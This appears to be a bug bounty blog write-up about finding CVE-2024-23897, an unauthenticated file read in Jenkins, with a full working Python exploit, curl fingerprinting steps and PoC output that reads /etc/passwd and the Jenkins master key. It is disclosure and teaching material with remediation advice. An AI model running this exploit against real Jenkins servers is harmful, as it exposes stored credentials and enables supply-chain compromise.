September 18, 2026
How I Found a Critical Jenkins Vulnerability in 10 Minutes and Earned an $800 Bug Bounty
Sometimes a security finding doesnβt start with an exploit.

By Rohith S
10 min read
It starts with good reconnaissance.
Recently, during a bug bounty program, I discovered a critical unauthenticated arbitrary file read vulnerability in an exposed Jenkins instance. The vulnerability was caused by CVE-2024β23897, which could allow an unauthenticated attacker to read arbitrary files from the Jenkins controller.
The finding was confirmed by the program, and I received an $800 bounty.
What made this interesting wasn't only the vulnerability itself.
The interesting part was how manual security thinking + AI assistance helped me move from reconnaissance to a confirmed vulnerability extremely quickly.
Important:_ This write-up is based on an authorized bug bounty assessment. All target-identifying information, domains, hostnames, IP addresses, credentials, cryptographic keys, and other sensitive information have been redacted._
The Reconnaissance
For me, reconnaissance is one of the most important parts of bug bounty hunting.
Before looking for vulnerabilities, I wanted to understand the attack surface.
Instead of manually checking every subdomain one by one, I used AI assistance as a productivity tool.
My instruction was essentially:
Grab all available subdomains and identify which ones are live. Also identify interesting technologies and exposed instances such as WordPress, Jenkins, Drupal, and similar platforms.
The goal wasn't to ask AI to find the vulnerability.
The goal was to make the initial enumeration faster.
The results gave me a useful list of live assets and technology fingerprints.
Among them, one result immediately stood out:
[REDACTED SUBDOMAIN]
β
Jenkins[REDACTED SUBDOMAIN]
β
JenkinsNow I had something specific to investigate.
Jenkins β Time to Investigate
Once I identified the Jenkins instance, I changed my mindset from broad reconnaissance to focused vulnerability research.
I didn't randomly throw payloads at the target.
Instead, I asked:
What publicly known vulnerabilities should I investigate for this particular Jenkins version?
I used ProjectDiscovery's vulnerability research / CVE resources to shortlist relevant Jenkins vulnerabilities.
The purpose of the shortlist was simple:
Jenkins detected
β
Identify version
β
Shortlist relevant CVEs
β
Understand affected functionality
β
Manually validateJenkins detected
β
Identify version
β
Shortlist relevant CVEs
β
Understand affected functionality
β
Manually validateOne CVE immediately became interesting:
CVE-2024β23897
CVE-2024β23897
CVE-2024β23897 is a Jenkins CLI arbitrary file read vulnerability involving the args4j argument parser.
Jenkins CLI supports an @file syntax.
Conceptually:
@/path/to/file@/path/to/filecauses the argument parser to read the referenced file and expand its contents into the command arguments.
The vulnerability occurs because this processing can happen before the relevant authorization check.
This can allow an unauthenticated attacker to read files from the Jenkins controller through the CLI interface.
Checking the Jenkins Version
The target was running:
Jenkins 2.375.1Jenkins 2.375.1The version was exposed through the HTTP response:
X-Jenkins: 2.375.1X-Jenkins: 2.375.1This version was vulnerable to CVE-2024β23897.
At this point, I had:
Public Jenkins
+
Vulnerable Version
+
Potentially Exposed CLIPublic Jenkins
+
Vulnerable Version
+
Potentially Exposed CLINow it was time for manual validation.
Checking the CLI
I checked whether the Jenkins CLI surface was accessible.
The Jenkins CLI JAR was publicly downloadable:
https://[REDACTED]/jnlpJars/jenkins-cli.jarhttps://[REDACTED]/jnlpJars/jenkins-cli.jarResponse:
HTTP/1.1 200 OKHTTP/1.1 200 OKI also observed that certain administrative endpoints were blocked by the reverse proxy.
For example:
/manage β 403
/script β 403/manage β 403
/script β 403But:
/cli/cliwas still accessible.
This was important.
Blocking /manage and /script did not eliminate the Jenkins CLI attack surface.
Building the Proof of Concept
I wanted to validate the vulnerability with a minimal PoC rather than relying on a large exploitation framework.
I created a Python 3 proof of concept using only the standard library.
The vulnerable argument was:
@<absolute-file-path>@<absolute-file-path>The request was sent through:
POST /cli?remoting=falsePOST /cli?remoting=falseThe PoC creates two HTTP requests that share a dashed UUID Session: header:
Side: download
Side: uploadSide: download
Side: uploadThe upload side carries Jenkins PlainCLIProtocol frames.
The relevant frame structure is:
Frame = [4-byte big-endian length][opcode][2-byte string length][utf8]Frame = [4-byte big-endian length][opcode][2-byte string length][utf8]Opcodes:
ARG=0
LOCALE=1
ENCODING=2
START=3
EXIT=4
STDOUT=8
STDERR=9ARG=0
LOCALE=1
ENCODING=2
START=3
EXIT=4
STDOUT=8
STDERR=9The payload sequence was:
ARG "who-am-i"
ARG "@/etc/passwd"
ENCODING "UTF-8"
LOCALE "en_US"
STARTARG "who-am-i"
ARG "@/etc/passwd"
ENCODING "UTF-8"
LOCALE "en_US"
STARTThe server returned the response through STDOUT frames.
First Test β /etc/passwd
I started with a harmless system file:
/etc/passwd/etc/passwdThe PoC returned:
$ python cve-2024-23897_poc.py https://[REDACTED] /etc/passwd --command help
[*] download response: HTTP/1.1 200 OK
[*] target file: /etc/passwd
======================================================================
ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/ash)$ python cve-2024-23897_poc.py https://[REDACTED] /etc/passwd --command help
[*] download response: HTTP/1.1 200 OK
[*] target file: /etc/passwd
======================================================================
ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/ash)That was the confirmation I needed.
The server was actually processing the @file argument and returning file contents.
The vulnerability was real.
Going One Step Further β Jenkins Files
Once /etc/passwd worked, I wanted to understand the actual impact on the Jenkins controller.
I tested Jenkins-specific files in a controlled, read-only manner.
The following files were confirmed readable:
FileResult/var/jenkins_home/secrets/master.keyFull 64-byte key obtained/etc/passwdSystem account information disclosed/etc/os-releaseAlpine Linux information disclosed/etc/hostnameHost identifier disclosed/var/jenkins_home/config.xmlJenkins configuration disclosed/var/jenkins_home/credentials.xmlJenkins credential store disclosed
The target-specific values have been removed from this public write-up.
The Master Key
This was the most important part of the finding.
I was able to read:
/var/jenkins_home/secrets/master.key/var/jenkins_home/secrets/master.keyThe complete 64-byte key was returned.
For obvious reasons, I am not publishing the actual key.
Redacted evidence:
/var/jenkins_home/secrets/master.key:
[REDACTED β 64-BYTE JENKINS MASTER KEY]/var/jenkins_home/secrets/master.key:
[REDACTED β 64-BYTE JENKINS MASTER KEY]The key is used by Jenkins' cryptographic mechanisms to protect sensitive credential information.
The credential store was also confirmed readable:
/var/jenkins_home/credentials.xml/var/jenkins_home/credentials.xmlThis significantly increased the potential impact of the arbitrary file read.
Why This Is Critical
The vulnerability provides an unauthenticated path to sensitive information stored on the Jenkins controller.
The potential attack chain is:
Internet
β
Exposed Jenkins
β
Unauthenticated CLI
β
CVE-2024-23897
β
Arbitrary File Read
β
Jenkins Configuration
β
Credential Store
β
Master Key
β
Potential Credential Compromise
β
Potential CI/CD / Supply-Chain ImpactInternet
β
Exposed Jenkins
β
Unauthenticated CLI
β
CVE-2024-23897
β
Arbitrary File Read
β
Jenkins Configuration
β
Credential Store
β
Master Key
β
Potential Credential Compromise
β
Potential CI/CD / Supply-Chain ImpactThe final stages depend on the specific Jenkins configuration and credentials available on the target.
I did not decrypt or use any credentials.
Files Confirmed Readable
The vulnerability allowed access to files including:
/var/jenkins_home/secrets/master.key
/var/jenkins_home/credentials.xml
/var/jenkins_home/config.xml
/etc/passwd
/etc/os-release
/etc/hostname/var/jenkins_home/secrets/master.key
/var/jenkins_home/credentials.xml
/var/jenkins_home/config.xml
/etc/passwd
/etc/os-release
/etc/hostnameOne interesting limitation of this vulnerability is that it generally exposes only the first few lines of a file.
However, that limitation doesn't help when sensitive information is stored in a single-line file.
For example:
master.keymaster.keycould therefore be obtained completely.
The Exact PoC
Below is the Python script used for the authorized testing.
The implementation is included for technical completeness, while the actual target information has been removed.
#!/usr/bin/env python3
"""
CVE-2024-23897 β Jenkins arbitrary file read (args4j @-expansion) PoC
Authenticated/unauth'd unauthenticated file read against Jenkins <= 2.441 / LTS <= 2.426.2
via the CLI HTTP transport. Exploits the CLI command-line parser expanding an argument of
the form `@/path/to/file` into the file's contents BEFORE any permission check, leaking
the first line(s) of the file through the parser/command error message.
Transport: Jenkins "plain CLI protocol" over HTTP (FullDuplexHttpService).
- one POST /cli?remoting=false (Side: download, empty body) -> long-poll response
- one POST /cli?remoting=false (Side: upload, octet-stream body = CLI frames)
- both tied together by a matching `Session: <uuid-v4>` header (dashes required)
Frames (PlainCLIProtocol, all big-endian):
[int32 (payload_len-1)] [opcode byte] [data]
opcodes: ARG=0 LOCALE=1 ENCODING=2 START=3 EXIT=4 STDOUT=8 STDERR=9
string payload = opcode + uint16 length + UTF-8 bytes
Usage:
python cve-2024-23897_poc.py https://jenkins.example.com /etc/passwd [--command help|who-am-i]
python cve-2024-23897_poc.py https://jenkins.example.com /etc/hostname --command who-am-i
Only reads the first line(s) of the target file (limitation of the vuln).
"""
import argparse
import socket
import ssl
import sys
import threading
import time
import uuid
PATH = "/cli?remoting=false"
def frame(op: int, arg: str = "") -> bytes:
"""Build one PlainCLIProtocol frame."""
if arg == "":
payload = bytes([op])
return (len(payload) - 1).to_bytes(4, "big") + payload
raw = arg.encode("utf-8")
payload = bytes([op]) + len(raw).to_bytes(2, "big") + raw
return (len(payload) - 1).to_bytes(4, "big") + payload
def build_session_start(command: str, file_path: str) -> bytes:
"""Command frames the real jenkins-cli client sends."""
return (
frame(0, command)
+ frame(0, "@" + file_path)
+ frame(2, "UTF-8")
+ frame(1, "en_US")
+ frame(3)
)
def parse_host(host: str):
if host.startswith("http://"):
host = host[len("http://"):]
return host.rstrip("/"), False
if host.startswith("https://"):
host = host[len("https://"):]
return host.rstrip("/"), True
return host.rstrip("/"), True
def send_download(host: str, port: int, use_tls: bool, session: str, ctx):
req = (
"POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Session: %s\r\n"
"Side: download\r\n"
"Content-type: application/x-www-form-urlencoded\r\n"
"Content-Length: 0\r\n"
"Connection: keep-alive\r\n"
"\r\n" % (PATH, host, session)
).encode()
s = socket.create_connection((host, port), timeout=20)
if use_tls:
s = ctx.wrap_socket(s, server_hostname=host)
s.sendall(req)
buf = b""
try:
while True:
chunk = s.recv(65536)
if not chunk:
break
buf += chunk
except socket.timeout:
pass
finally:
try:
s.close()
except Exception:
pass
return buf
def send_upload(host: str, port: int, use_tls: bool, session: str,
payload: bytes, ctx):
body = (
b"POST " + PATH.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Session: " + session.encode() + b"\r\n"
b"Side: upload\r\n"
b"Content-type: application/octet-stream\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: keep-alive\r\n\r\n"
+ hex(len(payload))[2:].encode() + b"\r\n"
+ payload + b"\r\n"
+ b"0\r\n\r\n"
)
s = socket.create_connection((host, port), timeout=20)
if use_tls:
s = ctx.wrap_socket(s, server_hostname=host)
s.sendall(body)
try:
s.recv(65536)
except socket.timeout:
pass
finally:
try:
s.close()
except Exception:
pass
def dechunk_and_parse(response: bytes):
"""Strip HTTP headers + chunked framing, skip the initial 0x00 byte,
emit STDOUT(8) frames."""
if b"\r\n\r\n" not in response:
return ["(no HTTP response body received)"]
body = response.split(b"\r\n\r\n", 1)[1]
raw = b""
i = 0
while True:
eol = body.find(b"\r\n", i)
if eol == -1:
break
try:
size = int(
body[i:eol].split(b";")[0].strip(),
16
)
except ValueError:
break
if size == 0:
break
raw += body[eol + 2:eol + 2 + size]
i = eol + 2 + size + 2
if raw and raw[0] == 0x00:
raw = raw[1:]
out = []
i = 0
while i + 4 <= len(raw):
plen = int.from_bytes(raw[i:i + 4], "big") + 1
i += 4
if i + plen > len(raw):
break
payload = raw[i:i + plen]
i += plen
if payload and payload[0] == 8:
out.append(
payload[1:].decode("utf-8", "replace")
)
return out if out else ["(no CLI output frames received)"]
def main():
ap = argparse.ArgumentParser(
description="CVE-2024-23897 Jenkins arbitrary file read PoC"
)
ap.add_argument(
"target",
help="Jenkins URL, e.g. https://jenkins.example.com"
)
ap.add_argument(
"file",
help="absolute path to read on the controller"
)
ap.add_argument(
"--command",
default="who-am-i",
help="CLI command to abuse"
)
ap.add_argument(
"--port",
type=int,
default=443
)
args = ap.parse_args()
host, use_tls = parse_host(args.target)
port = args.port
ctx = ssl.create_default_context()
if use_tls:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
payload = build_session_start(
args.command,
args.file
)
session = str(uuid.uuid4())
results = {}
dl = threading.Thread(
target=lambda: results.setdefault(
"dl",
send_download(
host,
port,
use_tls,
session,
ctx
)
)
)
up = threading.Thread(
target=lambda: results.setdefault(
"up",
send_upload(
host,
port,
use_tls,
session,
payload,
ctx
)
)
)
dl.start()
time.sleep(1.0)
up.start()
dl.join(timeout=30)
up.join(timeout=30)
resp = results.get("dl", b"")
status = (
resp.split(b"\r\n", 1)[0]
.decode("utf-8", "replace")
if resp
else "(no response)"
)
print(f"[*] download response: {status}")
print(f"[*] target file: {args.file}")
print("=" * 70)
for line in dechunk_and_parse(resp):
line = line.strip()
if line:
print(line)
if __name__ == "__main__":
sys.exit(main())#!/usr/bin/env python3
"""
CVE-2024-23897 β Jenkins arbitrary file read (args4j @-expansion) PoC
Authenticated/unauth'd unauthenticated file read against Jenkins <= 2.441 / LTS <= 2.426.2
via the CLI HTTP transport. Exploits the CLI command-line parser expanding an argument of
the form `@/path/to/file` into the file's contents BEFORE any permission check, leaking
the first line(s) of the file through the parser/command error message.
Transport: Jenkins "plain CLI protocol" over HTTP (FullDuplexHttpService).
- one POST /cli?remoting=false (Side: download, empty body) -> long-poll response
- one POST /cli?remoting=false (Side: upload, octet-stream body = CLI frames)
- both tied together by a matching `Session: <uuid-v4>` header (dashes required)
Frames (PlainCLIProtocol, all big-endian):
[int32 (payload_len-1)] [opcode byte] [data]
opcodes: ARG=0 LOCALE=1 ENCODING=2 START=3 EXIT=4 STDOUT=8 STDERR=9
string payload = opcode + uint16 length + UTF-8 bytes
Usage:
python cve-2024-23897_poc.py https://jenkins.example.com /etc/passwd [--command help|who-am-i]
python cve-2024-23897_poc.py https://jenkins.example.com /etc/hostname --command who-am-i
Only reads the first line(s) of the target file (limitation of the vuln).
"""
import argparse
import socket
import ssl
import sys
import threading
import time
import uuid
PATH = "/cli?remoting=false"
def frame(op: int, arg: str = "") -> bytes:
"""Build one PlainCLIProtocol frame."""
if arg == "":
payload = bytes([op])
return (len(payload) - 1).to_bytes(4, "big") + payload
raw = arg.encode("utf-8")
payload = bytes([op]) + len(raw).to_bytes(2, "big") + raw
return (len(payload) - 1).to_bytes(4, "big") + payload
def build_session_start(command: str, file_path: str) -> bytes:
"""Command frames the real jenkins-cli client sends."""
return (
frame(0, command)
+ frame(0, "@" + file_path)
+ frame(2, "UTF-8")
+ frame(1, "en_US")
+ frame(3)
)
def parse_host(host: str):
if host.startswith("http://"):
host = host[len("http://"):]
return host.rstrip("/"), False
if host.startswith("https://"):
host = host[len("https://"):]
return host.rstrip("/"), True
return host.rstrip("/"), True
def send_download(host: str, port: int, use_tls: bool, session: str, ctx):
req = (
"POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Session: %s\r\n"
"Side: download\r\n"
"Content-type: application/x-www-form-urlencoded\r\n"
"Content-Length: 0\r\n"
"Connection: keep-alive\r\n"
"\r\n" % (PATH, host, session)
).encode()
s = socket.create_connection((host, port), timeout=20)
if use_tls:
s = ctx.wrap_socket(s, server_hostname=host)
s.sendall(req)
buf = b""
try:
while True:
chunk = s.recv(65536)
if not chunk:
break
buf += chunk
except socket.timeout:
pass
finally:
try:
s.close()
except Exception:
pass
return buf
def send_upload(host: str, port: int, use_tls: bool, session: str,
payload: bytes, ctx):
body = (
b"POST " + PATH.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Session: " + session.encode() + b"\r\n"
b"Side: upload\r\n"
b"Content-type: application/octet-stream\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: keep-alive\r\n\r\n"
+ hex(len(payload))[2:].encode() + b"\r\n"
+ payload + b"\r\n"
+ b"0\r\n\r\n"
)
s = socket.create_connection((host, port), timeout=20)
if use_tls:
s = ctx.wrap_socket(s, server_hostname=host)
s.sendall(body)
try:
s.recv(65536)
except socket.timeout:
pass
finally:
try:
s.close()
except Exception:
pass
def dechunk_and_parse(response: bytes):
"""Strip HTTP headers + chunked framing, skip the initial 0x00 byte,
emit STDOUT(8) frames."""
if b"\r\n\r\n" not in response:
return ["(no HTTP response body received)"]
body = response.split(b"\r\n\r\n", 1)[1]
raw = b""
i = 0
while True:
eol = body.find(b"\r\n", i)
if eol == -1:
break
try:
size = int(
body[i:eol].split(b";")[0].strip(),
16
)
except ValueError:
break
if size == 0:
break
raw += body[eol + 2:eol + 2 + size]
i = eol + 2 + size + 2
if raw and raw[0] == 0x00:
raw = raw[1:]
out = []
i = 0
while i + 4 <= len(raw):
plen = int.from_bytes(raw[i:i + 4], "big") + 1
i += 4
if i + plen > len(raw):
break
payload = raw[i:i + plen]
i += plen
if payload and payload[0] == 8:
out.append(
payload[1:].decode("utf-8", "replace")
)
return out if out else ["(no CLI output frames received)"]
def main():
ap = argparse.ArgumentParser(
description="CVE-2024-23897 Jenkins arbitrary file read PoC"
)
ap.add_argument(
"target",
help="Jenkins URL, e.g. https://jenkins.example.com"
)
ap.add_argument(
"file",
help="absolute path to read on the controller"
)
ap.add_argument(
"--command",
default="who-am-i",
help="CLI command to abuse"
)
ap.add_argument(
"--port",
type=int,
default=443
)
args = ap.parse_args()
host, use_tls = parse_host(args.target)
port = args.port
ctx = ssl.create_default_context()
if use_tls:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
payload = build_session_start(
args.command,
args.file
)
session = str(uuid.uuid4())
results = {}
dl = threading.Thread(
target=lambda: results.setdefault(
"dl",
send_download(
host,
port,
use_tls,
session,
ctx
)
)
)
up = threading.Thread(
target=lambda: results.setdefault(
"up",
send_upload(
host,
port,
use_tls,
session,
payload,
ctx
)
)
)
dl.start()
time.sleep(1.0)
up.start()
dl.join(timeout=30)
up.join(timeout=30)
resp = results.get("dl", b"")
status = (
resp.split(b"\r\n", 1)[0]
.decode("utf-8", "replace")
if resp
else "(no response)"
)
print(f"[*] download response: {status}")
print(f"[*] target file: {args.file}")
print("=" * 70)
for line in dechunk_and_parse(resp):
line = line.strip()
if line:
print(line)
if __name__ == "__main__":
sys.exit(main())Steps to Reproduce
1. Fingerprint the target
curl -I https://[REDACTED]/login
β X-Jenkins: 2.375.1
β Server: Jetty(10.0.12)curl -I https://[REDACTED]/login
β X-Jenkins: 2.375.1
β Server: Jetty(10.0.12)2. Confirm the CLI JAR is downloadable
curl -sI https://[REDACTED]/jnlpJars/jenkins-cli.jar
β HTTP/1.1 200 OKcurl -sI https://[REDACTED]/jnlpJars/jenkins-cli.jar
β HTTP/1.1 200 OK3. Run the PoC
python cve-2024-23897_poc.py https://[REDACTED] /var/jenkins_home/secrets/master.key
python cve-2024-23897_poc.py https://[REDACTED] /etc/passwd --command helppython cve-2024-23897_poc.py https://[REDACTED] /var/jenkins_home/secrets/master.key
python cve-2024-23897_poc.py https://[REDACTED] /etc/passwd --command help4. Observe the leaked content
The leaked file contents appear in the ERROR: output of the STDOUT frames.
Impact
- Unauthenticated arbitrary file read on the CI/CD controller β source code, pipeline definitions, environment/config files, and secrets are at risk.
- Master-key disclosure (
secrets/master.key) defeats Jenkins' encrypted credential store. With the leaked key and the readablecredentials.xmlciphertexts, an attacker can offline-decrypt all stored CI/CD credentials (Git, container registry, cloud, and deployment keys) and forge Jenkins' internal signing identity. - Escalation path to RCE / supply-chain compromise: injected malicious build steps, tampered artifacts, and
~/.jenkinsscript abuse are all within reach. - The exposed admin/CLI surface plus EOL version expose the box to additional public CVEs (stored XSS, info disclosure, RCE advisories) without any further skill.
Remediation
- Immediately restrict network access to
[REDACTED]β VPN / IP allowlist only; it must never be reachable from the public internet. - Upgrade Jenkins to a currently supported release (β₯ 2.441 / LTS β₯ 2.440.1) and keep it patched; do not rely on proxy rules (the
/cliendpoint already bypassed the 403s that block/manageand/script). - Rotate the leaked
master.keyand re-encrypt / rotate all credentials stored in the credential store (including underlying service credentials). - Disable the CLI transport and anonymous access.
- Audit build logs / job history for signs of prior exploitation; review proxy/WAF rules so CLI endpoints are blocked too.
Disclosure & Responsible Use
All testing was performed within the scope of the bug bounty program.
The exploitation was read-only:
- No writes
- No RCE
- No credential decryption
- No credential usage
- No modification of Jenkins jobs
- No destructive actions
The finding was independently re-confirmed by the program owner using the supplied PoC.
The final bounty awarded for this vulnerability was:
π° $800
The Part I Want to Emphasize: AI + Human Security Thinking
This finding also changed the way I look at AI in security research.
I don't see AI as something that replaces a security researcher.
I see it as a friendly assistant.
The important part is knowing what to ask, what to verify, and what not to trust blindly.
In this case, AI helped me accelerate the repetitive part:
Subdomain Enumeration
β
Live Host Identification
β
Technology Identification
β
Jenkins DetectionSubdomain Enumeration
β
Live Host Identification
β
Technology Identification
β
Jenkins DetectionBut the security reasoning was still manual:
Why is this Jenkins interesting?
β
What version is running?
β
Which CVEs apply?
β
Is the vulnerable interface exposed?
β
Does exploitation actually work?
β
What is the demonstrated impact?
β
How can I prove it safely?Why is this Jenkins interesting?
β
What version is running?
β
Which CVEs apply?
β
Is the vulnerable interface exposed?
β
Does exploitation actually work?
β
What is the demonstrated impact?
β
How can I prove it safely?AI helped me move faster.
It didn't make the security decisions for me.
10 Minutes of Work β $800
This is probably the biggest lesson I took from this finding.
A lot of people think bug bounty hunting is:
Find target β Exploit β SubmitFind target β Exploit β SubmitBut in reality, the workflow can look more like:
Recon
β
Understand Attack Surface
β
Technology Fingerprinting
β
CVE Research
β
Manual Validation
β
Impact Analysis
β
Responsible PoC
β
Clear ReportRecon
β
Understand Attack Surface
β
Technology Fingerprinting
β
CVE Research
β
Manual Validation
β
Impact Analysis
β
Responsible PoC
β
Clear ReportWith the right tooling and AI assistance, some of the repetitive work can become much faster.
In this case, the combination of reconnaissance + AI assistance + CVE research + manual validation allowed me to turn roughly 10 minutes of focused work into an $800 bug bounty.
The value wasn't in blindly asking AI to "find a bug."
The value was in using it to reduce the time spent on repetitive tasks so I could spend more time on security reasoning.
Don't Think of AI as Your Replacement
I see a lot of discussion around:
"AI will replace security researchers."
I don't think that's the right mindset.
Instead, I prefer:
AI doesn't replace your security mindset. It accelerates it.
If you know how to perform reconnaissance, understand technologies, research CVEs, validate vulnerabilities, reason about impact, and write a good report, AI can become a very useful assistant.
Think of it like having a very fast teammate who can help you with repetitive tasks.
But you still need to decide:
What should I investigate?
Why does it matter?
Is this actually exploitable?
What evidence proves it?
What is the safest way to validate it?
What is the real impact?
Those decisions still require human judgment.
A Quote I Like
"Don't compete with AI. Learn how to work with it."
And another one:
"AI can make you faster, but your security mindset determines where you go."
The future of security research isn't necessarily:
Humans vs AIHumans vs AII think it's much more interesting:
Human Security Mindset
+
AI Assistance
β
Faster Research
β
Better Validation
β
Better SecurityHuman Security Mindset
+
AI Assistance
β
Faster Research
β
Better Validation
β
Better SecurityFinal Thoughts
This finding started with something very simple:
Reconnaissance.
Finding subdomains.
Checking which ones were alive.
Identifying technologies.
Spotting Jenkins.
Then narrowing the research down to Jenkins-specific CVEs.
From there, manual testing confirmed that CVE-2024β23897 was exploitable without authentication and that sensitive Jenkins files, including the master key, could be read.
The vulnerability was responsibly reported and independently verified by the program.
The result:
$800 π°
But the biggest takeaway for me isn't the bounty.
It's the workflow.
Reconnaissance + curiosity + CVE research + manual validation + AI assistance.
Use AI properly, and it can make your security research faster, more efficient, and more effective.
Don't let AI replace your thinking.
Use it to amplify your thinking.
References
- Jenkins Security Advisory β CVE-2024β23897 β Arbitrary file read vulnerability through CLI commands
- NVD β CVE-2024β23897 β CVSS 3.1 9.8
- Jenkins CLI documentation
- ProjectDiscovery vulnerability research resources
Disclaimer: This article describes research conducted under an authorized bug bounty program. Target-identifying information, sensitive configuration data, credentials, cryptographic material, and other confidential information have been intentionally redacted.